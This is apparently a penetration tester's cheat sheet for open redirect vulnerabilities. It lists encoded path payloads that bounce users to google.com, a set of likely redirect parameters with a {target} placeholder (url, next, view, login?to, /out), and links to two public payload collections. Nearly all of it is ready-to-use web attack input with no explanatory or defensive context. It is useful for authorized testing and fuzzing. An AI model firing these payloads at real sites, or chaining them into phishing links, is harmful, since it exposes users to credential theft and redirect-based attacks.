Open Redirect

/%09/google.com
    
/%5cgoogle.com
    
//www.google.com/%2f%2e%2e
    
//www.google.com/%2e%2e
    
//google.com/
    
//google.com/%2f..
    
//\google.com
    
/\victim.com:80%40google.com

Possible open redirect parameters

?url=http://{target}
    
?url=https://{target}
    
?next=http://{target}
    
?next=https://{target}
    
?url=https://{target}
    
?url=http://{target}
    
?url=//{target}
    
?url=$2f%2f{target}
    
?next=//{target}
    
?next=$2f%2f{target}
    
?url=//{target}
    
?url=$2f%2f{target}
    
?url=//{target}
    
/redirect/{target}
    
/cgi-bin/redirect.cgi?{target}
    
/out/{target}
    
/out?{target}
    
/out?/{target}
    
/out?//{target}
    
/out?/\{target}
    
/out?///{target}
    
?view={target}
    
?view=/{target}
    
?view=//{target}
    
?view=/\{target}
    
?view=///{target}
    
/login?to={target}
    
/login?to=/{target}
    
/login?to=//{target}
    
/login?to=/\{target}
    
/login?to=///{target}

Open Redirect Payloads by @cujanovic

https://github.com/cujanovic/Open-Redirect-Payloads

Open Redirect Paramters by @fuzzdb-project

https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/redirect/redirect-urls-template.txt